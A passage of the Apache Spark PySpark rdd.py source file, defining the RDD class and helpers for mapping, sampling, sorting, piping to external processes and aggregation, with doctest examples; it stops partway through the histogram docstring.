# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import copy import sys import os import operator import shlex import warnings import heapq import bisect import random from subprocess import Popen, PIPE from threading import Thread from collections import defaultdict from itertools import chain from functools import reduce from math import sqrt, log, isinf, isnan, pow, ceil from pyspark.java_gateway import local_connect_and_auth from pyspark.serializers import ( AutoBatchedSerializer, BatchedSerializer, NoOpSerializer, CartesianDeserializer, CloudPickleSerializer, PairDeserializer, CPickleSerializer, pack_long, read_int, write_int, ) from pyspark.join import ( python_join, python_left_outer_join, python_right_outer_join, python_full_outer_join, python_cogroup, ) from pyspark.statcounter import StatCounter from pyspark.rddsampler import RDDSampler, RDDRangeSampler, RDDStratifiedSampler from pyspark.storagelevel import StorageLevel from pyspark.resource.requests import ExecutorResourceRequests, TaskResourceRequests from pyspark.resource.profile import ResourceProfile from pyspark.resultiterable import ResultIterable from pyspark.shuffle import ( Aggregator, ExternalMerger, get_used_memory, ExternalSorter, ExternalGroupBy, ) from pyspark.traceback_utils import SCCallSiteSync from pyspark.util import fail_on_stopiteration, _parse_memory __all__ = ["RDD"] class PythonEvalType: """ Evaluation type of python rdd. These values are internal to PySpark. These values should match values in org.apache.spark.api.python.PythonEvalType. """ NON_UDF = 0 SQL_BATCHED_UDF = 100 SQL_SCALAR_PANDAS_UDF = 200 SQL_GROUPED_MAP_PANDAS_UDF = 201 SQL_GROUPED_AGG_PANDAS_UDF = 202 SQL_WINDOW_AGG_PANDAS_UDF = 203 SQL_SCALAR_PANDAS_ITER_UDF = 204 SQL_MAP_PANDAS_ITER_UDF = 205 SQL_COGROUPED_MAP_PANDAS_UDF = 206 SQL_MAP_ARROW_ITER_UDF = 207 def portable_hash(x): """ This function returns consistent hash code for builtin types, especially for None and tuple with None. The algorithm is similar to that one used by CPython 2.7 Examples -------- >>> portable_hash(None) 0 >>> portable_hash((None, 1)) & 0xffffffff 219750521 """ if "PYTHONHASHSEED" not in os.environ: raise RuntimeError("Randomness of hash of string should be disabled via PYTHONHASHSEED") if x is None: return 0 if isinstance(x, tuple): h = 0x345678 for i in x: h ^= portable_hash(i) h *= 1000003 h &= sys.maxsize h ^= len(x) if h == -1: h = -2 return int(h) return hash(x) class BoundedFloat(float): """ Bounded value is generated by approximate job, with confidence and low bound and high bound. Examples -------- >>> BoundedFloat(100.0, 0.95, 95.0, 105.0) 100.0 """ def __new__(cls, mean, confidence, low, high): obj = float.__new__(cls, mean) obj.confidence = confidence obj.low = low obj.high = high return obj def _create_local_socket(sock_info): """ Create a local socket that can be used to load deserialized data from the JVM Parameters ---------- sock_info : tuple Tuple containing port number and authentication secret for a local socket. Returns ------- sockfile file descriptor of the local socket """ port = sock_info[0] auth_secret = sock_info[1] sockfile, sock = local_connect_and_auth(port, auth_secret) # The RDD materialization time is unpredictable, if we set a timeout for socket reading # operation, it will very possibly fail. See SPARK-18281. sock.settimeout(None) return sockfile def _load_from_socket(sock_info, serializer): """ Connect to a local socket described by sock_info and use the given serializer to yield data Parameters ---------- sock_info : tuple Tuple containing port number and authentication secret for a local socket. serializer : :py:class:`Serializer` The PySpark serializer to use Returns ------- result of :py:meth:`Serializer.load_stream`, usually a generator that yields deserialized data """ sockfile = _create_local_socket(sock_info) # The socket will be automatically closed when garbage-collected. return serializer.load_stream(sockfile) def _local_iterator_from_socket(sock_info, serializer): class PyLocalIterable: """Create a synchronous local iterable over a socket""" def __init__(self, _sock_info, _serializer): port, auth_secret, self.jsocket_auth_server = _sock_info self._sockfile = _create_local_socket((port, auth_secret)) self._serializer = _serializer self._read_iter = iter([]) # Initialize as empty iterator self._read_status = 1 def __iter__(self): while self._read_status == 1: # Request next partition data from Java write_int(1, self._sockfile) self._sockfile.flush() # If response is 1 then there is a partition to read, if 0 then fully consumed self._read_status = read_int(self._sockfile) if self._read_status == 1: # Load the partition data as a stream and read each item self._read_iter = self._serializer.load_stream(self._sockfile) for item in self._read_iter: yield item # An error occurred, join serving thread and raise any exceptions from the JVM elif self._read_status == -1: self.jsocket_auth_server.getResult() def __del__(self): # If local iterator is not fully consumed, if self._read_status == 1: try: # Finish consuming partition data stream for _ in self._read_iter: pass # Tell Java to stop sending data and close connection write_int(0, self._sockfile) self._sockfile.flush() except Exception: # Ignore any errors, socket is automatically closed when garbage-collected pass return iter(PyLocalIterable(sock_info, serializer)) class Partitioner: def __init__(self, numPartitions, partitionFunc): self.numPartitions = numPartitions self.partitionFunc = partitionFunc def __eq__(self, other): return ( isinstance(other, Partitioner) and self.numPartitions == other.numPartitions and self.partitionFunc == other.partitionFunc ) def __call__(self, k): return self.partitionFunc(k) % self.numPartitions class RDD: """ A Resilient Distributed Dataset (RDD), the basic abstraction in Spark. Represents an immutable, partitioned collection of elements that can be operated on in parallel. """ def __init__(self, jrdd, ctx, jrdd_deserializer=AutoBatchedSerializer(CPickleSerializer())): self._jrdd = jrdd self.is_cached = False self.is_checkpointed = False self.has_resource_profile = False self.ctx = ctx self._jrdd_deserializer = jrdd_deserializer self._id = jrdd.id() self.partitioner = None def _pickled(self): return self._reserialize(AutoBatchedSerializer(CPickleSerializer())) def id(self): """ A unique ID for this RDD (within its SparkContext). """ return self._id def __repr__(self): return self._jrdd.toString() def __getnewargs__(self): # This method is called when attempting to pickle an RDD, which is always an error: raise RuntimeError( "It appears that you are attempting to broadcast an RDD or reference an RDD from an " "action or transformation. RDD transformations and actions can only be invoked by the " "driver, not inside of other transformations; for example, " "rdd1.map(lambda x: rdd2.values.count() * x) is invalid because the values " "transformation and count action cannot be performed inside of the rdd1.map " "transformation. For more information, see SPARK-5063." ) @property def context(self): """ The :class:`SparkContext` that this RDD was created on. """ return self.ctx def cache(self): """ Persist this RDD with the default storage level (`MEMORY_ONLY`). """ self.is_cached = True self.persist(StorageLevel.MEMORY_ONLY) return self def persist(self, storageLevel=StorageLevel.MEMORY_ONLY): """ Set this RDD's storage level to persist its values across operations after the first time it is computed. This can only be used to assign a new storage level if the RDD does not have a storage level set yet. If no storage level is specified defaults to (`MEMORY_ONLY`). Examples -------- >>> rdd = sc.parallelize(["b", "a", "c"]) >>> rdd.persist().is_cached True """ self.is_cached = True javaStorageLevel = self.ctx._getJavaStorageLevel(storageLevel) self._jrdd.persist(javaStorageLevel) return self def unpersist(self, blocking=False): """ Mark the RDD as non-persistent, and remove all blocks for it from memory and disk. .. versionchanged:: 3.0.0 Added optional argument `blocking` to specify whether to block until all blocks are deleted. """ self.is_cached = False self._jrdd.unpersist(blocking) return self def checkpoint(self): """ Mark this RDD for checkpointing. It will be saved to a file inside the checkpoint directory set with :meth:`SparkContext.setCheckpointDir` and all references to its parent RDDs will be removed. This function must be called before any job has been executed on this RDD. It is strongly recommended that this RDD is persisted in memory, otherwise saving it on a file will require recomputation. """ self.is_checkpointed = True self._jrdd.rdd().checkpoint() def isCheckpointed(self): """ Return whether this RDD is checkpointed and materialized, either reliably or locally. """ return self._jrdd.rdd().isCheckpointed() def localCheckpoint(self): """ Mark this RDD for local checkpointing using Spark's existing caching layer. This method is for users who wish to truncate RDD lineages while skipping the expensive step of replicating the materialized data in a reliable distributed file system. This is useful for RDDs with long lineages that need to be truncated periodically (e.g. GraphX). Local checkpointing sacrifices fault-tolerance for performance. In particular, checkpointed data is written to ephemeral local storage in the executors instead of to a reliable, fault-tolerant storage. The effect is that if an executor fails during the computation, the checkpointed data may no longer be accessible, causing an irrecoverable job failure. This is NOT safe to use with dynamic allocation, which removes executors along with their cached blocks. If you must use both features, you are advised to set `spark.dynamicAllocation.cachedExecutorIdleTimeout` to a high value. The checkpoint directory set through :meth:`SparkContext.setCheckpointDir` is not used. """ self._jrdd.rdd().localCheckpoint() def isLocallyCheckpointed(self): """ Return whether this RDD is marked for local checkpointing. Exposed for testing. """ return self._jrdd.rdd().isLocallyCheckpointed() def getCheckpointFile(self): """ Gets the name of the file to which this RDD was checkpointed Not defined if RDD is checkpointed locally. """ checkpointFile = self._jrdd.rdd().getCheckpointFile() if checkpointFile.isDefined(): return checkpointFile.get() def map(self, f, preservesPartitioning=False): """ Return a new RDD by applying a function to each element of this RDD. Examples -------- >>> rdd = sc.parallelize(["b", "a", "c"]) >>> sorted(rdd.map(lambda x: (x, 1)).collect()) [('a', 1), ('b', 1), ('c', 1)] """ def func(_, iterator): return map(fail_on_stopiteration(f), iterator) return self.mapPartitionsWithIndex(func, preservesPartitioning) def flatMap(self, f, preservesPartitioning=False): """ Return a new RDD by first applying a function to all elements of this RDD, and then flattening the results. Examples -------- >>> rdd = sc.parallelize([2, 3, 4]) >>> sorted(rdd.flatMap(lambda x: range(1, x)).collect()) [1, 1, 1, 2, 2, 3] >>> sorted(rdd.flatMap(lambda x: [(x, x), (x, x)]).collect()) [(2, 2), (2, 2), (3, 3), (3, 3), (4, 4), (4, 4)] """ def func(s, iterator): return chain.from_iterable(map(fail_on_stopiteration(f), iterator)) return self.mapPartitionsWithIndex(func, preservesPartitioning) def mapPartitions(self, f, preservesPartitioning=False): """ Return a new RDD by applying a function to each partition of this RDD. Examples -------- >>> rdd = sc.parallelize([1, 2, 3, 4], 2) >>> def f(iterator): yield sum(iterator) >>> rdd.mapPartitions(f).collect() [3, 7] """ def func(s, iterator): return f(iterator) return self.mapPartitionsWithIndex(func, preservesPartitioning) def mapPartitionsWithIndex(self, f, preservesPartitioning=False): """ Return a new RDD by applying a function to each partition of this RDD, while tracking the index of the original partition. Examples -------- >>> rdd = sc.parallelize([1, 2, 3, 4], 4) >>> def f(splitIndex, iterator): yield splitIndex >>> rdd.mapPartitionsWithIndex(f).sum() 6 """ return PipelinedRDD(self, f, preservesPartitioning) def mapPartitionsWithSplit(self, f, preservesPartitioning=False): """ Return a new RDD by applying a function to each partition of this RDD, while tracking the index of the original partition. .. deprecated:: 0.9.0 use :py:meth:`RDD.mapPartitionsWithIndex` instead. Examples -------- >>> rdd = sc.parallelize([1, 2, 3, 4], 4) >>> def f(splitIndex, iterator): yield splitIndex >>> rdd.mapPartitionsWithSplit(f).sum() 6 """ warnings.warn( "mapPartitionsWithSplit is deprecated; use mapPartitionsWithIndex instead", FutureWarning, stacklevel=2, ) return self.mapPartitionsWithIndex(f, preservesPartitioning) def getNumPartitions(self): """ Returns the number of partitions in RDD Examples -------- >>> rdd = sc.parallelize([1, 2, 3, 4], 2) >>> rdd.getNumPartitions() 2 """ return self._jrdd.partitions().size() def filter(self, f): """ Return a new RDD containing only the elements that satisfy a predicate. Examples -------- >>> rdd = sc.parallelize([1, 2, 3, 4, 5]) >>> rdd.filter(lambda x: x % 2 == 0).collect() [2, 4] """ def func(iterator): return filter(fail_on_stopiteration(f), iterator) return self.mapPartitions(func, True) def distinct(self, numPartitions=None): """ Return a new RDD containing the distinct elements in this RDD. Examples -------- >>> sorted(sc.parallelize([1, 1, 2, 3]).distinct().collect()) [1, 2, 3] """ return ( self.map(lambda x: (x, None)) .reduceByKey(lambda x, _: x, numPartitions) .map(lambda x: x[0]) ) def sample(self, withReplacement, fraction, seed=None): """ Return a sampled subset of this RDD. Parameters ---------- withReplacement : bool can elements be sampled multiple times (replaced when sampled out) fraction : float expected size of the sample as a fraction of this RDD's size without replacement: probability that each element is chosen; fraction must be [0, 1] with replacement: expected number of times each element is chosen; fraction must be >= 0 seed : int, optional seed for the random number generator Notes ----- This is not guaranteed to provide exactly the fraction specified of the total count of the given :class:`DataFrame`. Examples -------- >>> rdd = sc.parallelize(range(100), 4) >>> 6 <= rdd.sample(False, 0.1, 81).count() <= 14 True """ assert fraction >= 0.0, "Negative fraction value: %s" % fraction return self.mapPartitionsWithIndex(RDDSampler(withReplacement, fraction, seed).func, True) def randomSplit(self, weights, seed=None): """ Randomly splits this RDD with the provided weights. weights : list weights for splits, will be normalized if they don't sum to 1 seed : int, optional random seed Returns ------- list split RDDs in a list Examples -------- >>> rdd = sc.parallelize(range(500), 1) >>> rdd1, rdd2 = rdd.randomSplit([2, 3], 17) >>> len(rdd1.collect() + rdd2.collect()) 500 >>> 150 < rdd1.count() < 250 True >>> 250 < rdd2.count() < 350 True """ s = float(sum(weights)) cweights = [0.0] for w in weights: cweights.append(cweights[-1] + w / s) if seed is None: seed = random.randint(0, 2 ** 32 - 1) return [ self.mapPartitionsWithIndex(RDDRangeSampler(lb, ub, seed).func, True) for lb, ub in zip(cweights, cweights[1:]) ] # this is ported from scala/spark/RDD.scala def takeSample(self, withReplacement, num, seed=None): """ Return a fixed-size sampled subset of this RDD. Notes ----- This method should only be used if the resulting array is expected to be small, as all the data is loaded into the driver's memory. Examples -------- >>> rdd = sc.parallelize(range(0, 10)) >>> len(rdd.takeSample(True, 20, 1)) 20 >>> len(rdd.takeSample(False, 5, 2)) 5 >>> len(rdd.takeSample(False, 15, 3)) 10 """ numStDev = 10.0 if num < 0: raise ValueError("Sample size cannot be negative.") elif num == 0: return [] initialCount = self.count() if initialCount == 0: return [] rand = random.Random(seed) if (not withReplacement) and num >= initialCount: # shuffle current RDD and return samples = self.collect() rand.shuffle(samples) return samples maxSampleSize = sys.maxsize - int(numStDev * sqrt(sys.maxsize)) if num > maxSampleSize: raise ValueError("Sample size cannot be greater than %d." % maxSampleSize) fraction = RDD._computeFractionForSampleSize(num, initialCount, withReplacement) samples = self.sample(withReplacement, fraction, seed).collect() # If the first sample didn't turn out large enough, keep trying to take samples; # this shouldn't happen often because we use a big multiplier for their initial size. # See: scala/spark/RDD.scala while len(samples) < num: # TODO: add log warning for when more than one iteration was run seed = rand.randint(0, sys.maxsize) samples = self.sample(withReplacement, fraction, seed).collect() rand.shuffle(samples) return samples[0:num] @staticmethod def _computeFractionForSampleSize(sampleSizeLowerBound, total, withReplacement): """ Returns a sampling rate that guarantees a sample of size >= sampleSizeLowerBound 99.99% of the time. How the sampling rate is determined: Let p = num / total, where num is the sample size and total is the total number of data points in the RDD. We're trying to compute q > p such that - when sampling with replacement, we're drawing each data point with prob_i ~ Pois(q), where we want to guarantee Pr[s < num] < 0.0001 for s = sum(prob_i for i from 0 to total), i.e. the failure rate of not having a sufficiently large sample < 0.0001. Setting q = p + 5 * sqrt(p/total) is sufficient to guarantee 0.9999 success rate for num > 12, but we need a slightly larger q (9 empirically determined). - when sampling without replacement, we're drawing each data point with prob_i ~ Binomial(total, fraction) and our choice of q guarantees 1-delta, or 0.9999 success rate, where success rate is defined the same as in sampling with replacement. """ fraction = float(sampleSizeLowerBound) / total if withReplacement: numStDev = 5 if sampleSizeLowerBound < 12: numStDev = 9 return fraction + numStDev * sqrt(fraction / total) else: delta = 0.00005 gamma = -log(delta) / total return min(1, fraction + gamma + sqrt(gamma * gamma + 2 * gamma * fraction)) def union(self, other): """ Return the union of this RDD and another one. Examples -------- >>> rdd = sc.parallelize([1, 1, 2, 3]) >>> rdd.union(rdd).collect() [1, 1, 2, 3, 1, 1, 2, 3] """ if self._jrdd_deserializer == other._jrdd_deserializer: rdd = RDD(self._jrdd.union(other._jrdd), self.ctx, self._jrdd_deserializer) else: # These RDDs contain data in different serialized formats, so we # must normalize them to the default serializer. self_copy = self._reserialize() other_copy = other._reserialize() rdd = RDD(self_copy._jrdd.union(other_copy._jrdd), self.ctx, self.ctx.serializer) if ( self.partitioner == other.partitioner and self.getNumPartitions() == rdd.getNumPartitions() ): rdd.partitioner = self.partitioner return rdd def intersection(self, other): """ Return the intersection of this RDD and another one. The output will not contain any duplicate elements, even if the input RDDs did. Notes ----- This method performs a shuffle internally. Examples -------- >>> rdd1 = sc.parallelize([1, 10, 2, 3, 4, 5]) >>> rdd2 = sc.parallelize([1, 6, 2, 3, 7, 8]) >>> rdd1.intersection(rdd2).collect() [1, 2, 3] """ return ( self.map(lambda v: (v, None)) .cogroup(other.map(lambda v: (v, None))) .filter(lambda k_vs: all(k_vs[1])) .keys() ) def _reserialize(self, serializer=None): serializer = serializer or self.ctx.serializer if self._jrdd_deserializer != serializer: self = self.map(lambda x: x, preservesPartitioning=True) self._jrdd_deserializer = serializer return self def __add__(self, other): """ Return the union of this RDD and another one. Examples -------- >>> rdd = sc.parallelize([1, 1, 2, 3]) >>> (rdd + rdd).collect() [1, 1, 2, 3, 1, 1, 2, 3] """ if not isinstance(other, RDD): raise TypeError return self.union(other) def repartitionAndSortWithinPartitions( self, numPartitions=None, partitionFunc=portable_hash, ascending=True, keyfunc=lambda x: x ): """ Repartition the RDD according to the given partitioner and, within each resulting partition, sort records by their keys. Examples -------- >>> rdd = sc.parallelize([(0, 5), (3, 8), (2, 6), (0, 8), (3, 8), (1, 3)]) >>> rdd2 = rdd.repartitionAndSortWithinPartitions(2, lambda x: x % 2, True) >>> rdd2.glom().collect() [[(0, 5), (0, 8), (2, 6)], [(1, 3), (3, 8), (3, 8)]] """ if numPartitions is None: numPartitions = self._defaultReducePartitions() memory = self._memory_limit() serializer = self._jrdd_deserializer def sortPartition(iterator): sort = ExternalSorter(memory * 0.9, serializer).sorted return iter(sort(iterator, key=lambda k_v: keyfunc(k_v[0]), reverse=(not ascending))) return self.partitionBy(numPartitions, partitionFunc).mapPartitions(sortPartition, True) def sortByKey(self, ascending=True, numPartitions=None, keyfunc=lambda x: x): """ Sorts this RDD, which is assumed to consist of (key, value) pairs. Examples -------- >>> tmp = [('a', 1), ('b', 2), ('1', 3), ('d', 4), ('2', 5)] >>> sc.parallelize(tmp).sortByKey().first() ('1', 3) >>> sc.parallelize(tmp).sortByKey(True, 1).collect() [('1', 3), ('2', 5), ('a', 1), ('b', 2), ('d', 4)] >>> sc.parallelize(tmp).sortByKey(True, 2).collect() [('1', 3), ('2', 5), ('a', 1), ('b', 2), ('d', 4)] >>> tmp2 = [('Mary', 1), ('had', 2), ('a', 3), ('little', 4), ('lamb', 5)] >>> tmp2.extend([('whose', 6), ('fleece', 7), ('was', 8), ('white', 9)]) >>> sc.parallelize(tmp2).sortByKey(True, 3, keyfunc=lambda k: k.lower()).collect() [('a', 3), ('fleece', 7), ('had', 2), ('lamb', 5),...('white', 9), ('whose', 6)] """ if numPartitions is None: numPartitions = self._defaultReducePartitions() memory = self._memory_limit() serializer = self._jrdd_deserializer def sortPartition(iterator): sort = ExternalSorter(memory * 0.9, serializer).sorted return iter(sort(iterator, key=lambda kv: keyfunc(kv[0]), reverse=(not ascending))) if numPartitions == 1: if self.getNumPartitions() > 1: self = self.coalesce(1) return self.mapPartitions(sortPartition, True) # first compute the boundary of each part via sampling: we want to partition # the key-space into bins such that the bins have roughly the same # number of (key, value) pairs falling into them rddSize = self.count() if not rddSize: return self # empty RDD maxSampleSize = numPartitions * 20.0 # constant from Spark's RangePartitioner fraction = min(maxSampleSize / max(rddSize, 1), 1.0) samples = self.sample(False, fraction, 1).map(lambda kv: kv[0]).collect() samples = sorted(samples, key=keyfunc) # we have numPartitions many parts but one of the them has # an implicit boundary bounds = [ samples[int(len(samples) * (i + 1) / numPartitions)] for i in range(0, numPartitions - 1) ] def rangePartitioner(k): p = bisect.bisect_left(bounds, keyfunc(k)) if ascending: return p else: return numPartitions - 1 - p return self.partitionBy(numPartitions, rangePartitioner).mapPartitions(sortPartition, True) def sortBy(self, keyfunc, ascending=True, numPartitions=None): """ Sorts this RDD by the given keyfunc Examples -------- >>> tmp = [('a', 1), ('b', 2), ('1', 3), ('d', 4), ('2', 5)] >>> sc.parallelize(tmp).sortBy(lambda x: x[0]).collect() [('1', 3), ('2', 5), ('a', 1), ('b', 2), ('d', 4)] >>> sc.parallelize(tmp).sortBy(lambda x: x[1]).collect() [('a', 1), ('b', 2), ('1', 3), ('d', 4), ('2', 5)] """ return self.keyBy(keyfunc).sortByKey(ascending, numPartitions).values() def glom(self): """ Return an RDD created by coalescing all elements within each partition into a list. Examples -------- >>> rdd = sc.parallelize([1, 2, 3, 4], 2) >>> sorted(rdd.glom().collect()) [[1, 2], [3, 4]] """ def func(iterator): yield list(iterator) return self.mapPartitions(func) def cartesian(self, other): """ Return the Cartesian product of this RDD and another one, that is, the RDD of all pairs of elements ``(a, b)`` where ``a`` is in `self` and ``b`` is in `other`. Examples -------- >>> rdd = sc.parallelize([1, 2]) >>> sorted(rdd.cartesian(rdd).collect()) [(1, 1), (1, 2), (2, 1), (2, 2)] """ # Due to batching, we can't use the Java cartesian method. deserializer = CartesianDeserializer(self._jrdd_deserializer, other._jrdd_deserializer) return RDD(self._jrdd.cartesian(other._jrdd), self.ctx, deserializer) def groupBy(self, f, numPartitions=None, partitionFunc=portable_hash): """ Return an RDD of grouped items. Examples -------- >>> rdd = sc.parallelize([1, 1, 2, 3, 5, 8]) >>> result = rdd.groupBy(lambda x: x % 2).collect() >>> sorted([(x, sorted(y)) for (x, y) in result]) [(0, [2, 8]), (1, [1, 1, 3, 5])] """ return self.map(lambda x: (f(x), x)).groupByKey(numPartitions, partitionFunc) def pipe(self, command, env=None, checkCode=False): """ Return an RDD created by piping elements to a forked external process. Parameters ---------- command : str command to run. env : dict, optional environment variables to set. checkCode : bool, optional whether or not to check the return value of the shell command. Examples -------- >>> sc.parallelize(['1', '2', '', '3']).pipe('cat').collect() ['1', '2', '', '3'] """ if env is None: env = dict() def func(iterator): pipe = Popen(shlex.split(command), env=env, stdin=PIPE, stdout=PIPE) def pipe_objs(out): for obj in iterator: s = str(obj).rstrip("\n") + "\n" out.write(s.encode("utf-8")) out.close() Thread(target=pipe_objs, args=[pipe.stdin]).start() def check_return_code(): pipe.wait() if checkCode and pipe.returncode: raise RuntimeError( "Pipe function `%s' exited " "with error code %d" % (command, pipe.returncode) ) else: for i in range(0): yield i return ( x.rstrip(b"\n").decode("utf-8") for x in chain(iter(pipe.stdout.readline, b""), check_return_code()) ) return self.mapPartitions(func) def foreach(self, f): """ Applies a function to all elements of this RDD. Examples -------- >>> def f(x): print(x) >>> sc.parallelize([1, 2, 3, 4, 5]).foreach(f) """ f = fail_on_stopiteration(f) def processPartition(iterator): for x in iterator: f(x) return iter([]) self.mapPartitions(processPartition).count() # Force evaluation def foreachPartition(self, f): """ Applies a function to each partition of this RDD. Examples -------- >>> def f(iterator): ... for x in iterator: ... print(x) >>> sc.parallelize([1, 2, 3, 4, 5]).foreachPartition(f) """ def func(it): r = f(it) try: return iter(r) except TypeError: return iter([]) self.mapPartitions(func).count() # Force evaluation def collect(self): """ Return a list that contains all of the elements in this RDD. Notes ----- This method should only be used if the resulting array is expected to be small, as all the data is loaded into the driver's memory. """ with SCCallSiteSync(self.context) as css: sock_info = self.ctx._jvm.PythonRDD.collectAndServe(self._jrdd.rdd()) return list(_load_from_socket(sock_info, self._jrdd_deserializer)) def collectWithJobGroup(self, groupId, description, interruptOnCancel=False): """ When collect rdd, use this method to specify job group. .. versionadded:: 3.0.0 .. deprecated:: 3.1.0 Use :class:`pyspark.InheritableThread` with the pinned thread mode enabled. """ warnings.warn( "Deprecated in 3.1, Use pyspark.InheritableThread with " "the pinned thread mode enabled.", FutureWarning, ) with SCCallSiteSync(self.context) as css: sock_info = self.ctx._jvm.PythonRDD.collectAndServeWithJobGroup( self._jrdd.rdd(), groupId, description, interruptOnCancel ) return list(_load_from_socket(sock_info, self._jrdd_deserializer)) def reduce(self, f): """ Reduces the elements of this RDD using the specified commutative and associative binary operator. Currently reduces partitions locally. Examples -------- >>> from operator import add >>> sc.parallelize([1, 2, 3, 4, 5]).reduce(add) 15 >>> sc.parallelize((2 for _ in range(10))).map(lambda x: 1).cache().reduce(add) 10 >>> sc.parallelize([]).reduce(add) Traceback (most recent call last): ... ValueError: Can not reduce() empty RDD """ f = fail_on_stopiteration(f) def func(iterator): iterator = iter(iterator) try: initial = next(iterator) except StopIteration: return yield reduce(f, iterator, initial) vals = self.mapPartitions(func).collect() if vals: return reduce(f, vals) raise ValueError("Can not reduce() empty RDD") def treeReduce(self, f, depth=2): """ Reduces the elements of this RDD in a multi-level tree pattern. Parameters ---------- f : function depth : int, optional suggested depth of the tree (default: 2) Examples -------- >>> add = lambda x, y: x + y >>> rdd = sc.parallelize([-5, -4, -3, -2, -1, 1, 2, 3, 4], 10) >>> rdd.treeReduce(add) -5 >>> rdd.treeReduce(add, 1) -5 >>> rdd.treeReduce(add, 2) -5 >>> rdd.treeReduce(add, 5) -5 >>> rdd.treeReduce(add, 10) -5 """ if depth < 1: raise ValueError("Depth cannot be smaller than 1 but got %d." % depth) zeroValue = None, True # Use the second entry to indicate whether this is a dummy value. def op(x, y): if x[1]: return y elif y[1]: return x else: return f(x[0], y[0]), False reduced = self.map(lambda x: (x, False)).treeAggregate(zeroValue, op, op, depth) if reduced[1]: raise ValueError("Cannot reduce empty RDD.") return reduced[0] def fold(self, zeroValue, op): """ Aggregate the elements of each partition, and then the results for all the partitions, using a given associative function and a neutral "zero value." The function ``op(t1, t2)`` is allowed to modify ``t1`` and return it as its result value to avoid object allocation; however, it should not modify ``t2``. This behaves somewhat differently from fold operations implemented for non-distributed collections in functional languages like Scala. This fold operation may be applied to partitions individually, and then fold those results into the final result, rather than apply the fold to each element sequentially in some defined ordering. For functions that are not commutative, the result may differ from that of a fold applied to a non-distributed collection. Examples -------- >>> from operator import add >>> sc.parallelize([1, 2, 3, 4, 5]).fold(0, add) 15 """ op = fail_on_stopiteration(op) def func(iterator): acc = zeroValue for obj in iterator: acc = op(acc, obj) yield acc # collecting result of mapPartitions here ensures that the copy of # zeroValue provided to each partition is unique from the one provided # to the final reduce call vals = self.mapPartitions(func).collect() return reduce(op, vals, zeroValue) def aggregate(self, zeroValue, seqOp, combOp): """ Aggregate the elements of each partition, and then the results for all the partitions, using a given combine functions and a neutral "zero value." The functions ``op(t1, t2)`` is allowed to modify ``t1`` and return it as its result value to avoid object allocation; however, it should not modify ``t2``. The first function (seqOp) can return a different result type, U, than the type of this RDD. Thus, we need one operation for merging a T into an U and one operation for merging two U Examples -------- >>> seqOp = (lambda x, y: (x[0] + y, x[1] + 1)) >>> combOp = (lambda x, y: (x[0] + y[0], x[1] + y[1])) >>> sc.parallelize([1, 2, 3, 4]).aggregate((0, 0), seqOp, combOp) (10, 4) >>> sc.parallelize([]).aggregate((0, 0), seqOp, combOp) (0, 0) """ seqOp = fail_on_stopiteration(seqOp) combOp = fail_on_stopiteration(combOp) def func(iterator): acc = zeroValue for obj in iterator: acc = seqOp(acc, obj) yield acc # collecting result of mapPartitions here ensures that the copy of # zeroValue provided to each partition is unique from the one provided # to the final reduce call vals = self.mapPartitions(func).collect() return reduce(combOp, vals, zeroValue) def treeAggregate(self, zeroValue, seqOp, combOp, depth=2): """ Aggregates the elements of this RDD in a multi-level tree pattern. depth : int, optional suggested depth of the tree (default: 2) Examples -------- >>> add = lambda x, y: x + y >>> rdd = sc.parallelize([-5, -4, -3, -2, -1, 1, 2, 3, 4], 10) >>> rdd.treeAggregate(0, add, add) -5 >>> rdd.treeAggregate(0, add, add, 1) -5 >>> rdd.treeAggregate(0, add, add, 2) -5 >>> rdd.treeAggregate(0, add, add, 5) -5 >>> rdd.treeAggregate(0, add, add, 10) -5 """ if depth < 1: raise ValueError("Depth cannot be smaller than 1 but got %d." % depth) if self.getNumPartitions() == 0: return zeroValue def aggregatePartition(iterator): acc = zeroValue for obj in iterator: acc = seqOp(acc, obj) yield acc partiallyAggregated = self.mapPartitions(aggregatePartition) numPartitions = partiallyAggregated.getNumPartitions() scale = max(int(ceil(pow(numPartitions, 1.0 / depth))), 2) # If creating an extra level doesn't help reduce the wall-clock time, we stop the tree # aggregation. while numPartitions > scale + numPartitions / scale: numPartitions /= scale curNumPartitions = int(numPartitions) def mapPartition(i, iterator): for obj in iterator: yield (i % curNumPartitions, obj) partiallyAggregated = ( partiallyAggregated.mapPartitionsWithIndex(mapPartition) .reduceByKey(combOp, curNumPartitions) .values() ) return partiallyAggregated.reduce(combOp) def max(self, key=None): """ Find the maximum item in this RDD. Parameters ---------- key : function, optional A function used to generate key for comparing Examples -------- >>> rdd = sc.parallelize([1.0, 5.0, 43.0, 10.0]) >>> rdd.max() 43.0 >>> rdd.max(key=str) 5.0 """ if key is None: return self.reduce(max) return self.reduce(lambda a, b: max(a, b, key=key)) def min(self, key=None): """ Find the minimum item in this RDD. Parameters ---------- key : function, optional A function used to generate key for comparing Examples -------- >>> rdd = sc.parallelize([2.0, 5.0, 43.0, 10.0]) >>> rdd.min() 2.0 >>> rdd.min(key=str) 10.0 """ if key is None: return self.reduce(min) return self.reduce(lambda a, b: min(a, b, key=key)) def sum(self): """ Add up the elements in this RDD. Examples -------- >>> sc.parallelize([1.0, 2.0, 3.0]).sum() 6.0 """ return self.mapPartitions(lambda x: [sum(x)]).fold(0, operator.add) def count(self): """ Return the number of elements in this RDD. Examples -------- >>> sc.parallelize([2, 3, 4]).count() 3 """ return self.mapPartitions(lambda i: [sum(1 for _ in i)]).sum() def stats(self): """ Return a :class:`StatCounter` object that captures the mean, variance and count of the RDD's elements in one operation. """ def redFunc(left_counter, right_counter): return left_counter.mergeStats(right_counter) return self.mapPartitions(lambda i: [StatCounter(i)]).reduce(redFunc) def histogram(self, buckets): """ Compute a histogram using the provided buckets. The buckets are all open to the right except for the last which is closed. e.g. [1,10,20,50] means the buckets are [1,10) [10,20) [20,50], which means 1<=x<10, 10<=x<20, 20<=x<=50. And on the input of 1 and 50 we would have a histogram of 1,0,1. If your histogram is evenly spaced (e.g. [0, 10, 20, 30]), this can be switched from an O(log n) insertion to O(1) per element (where n is the number of buckets). Buckets must be sorted, not contain any duplicates, and have at least two elements. If `buckets` is a number, it will generate buckets which are 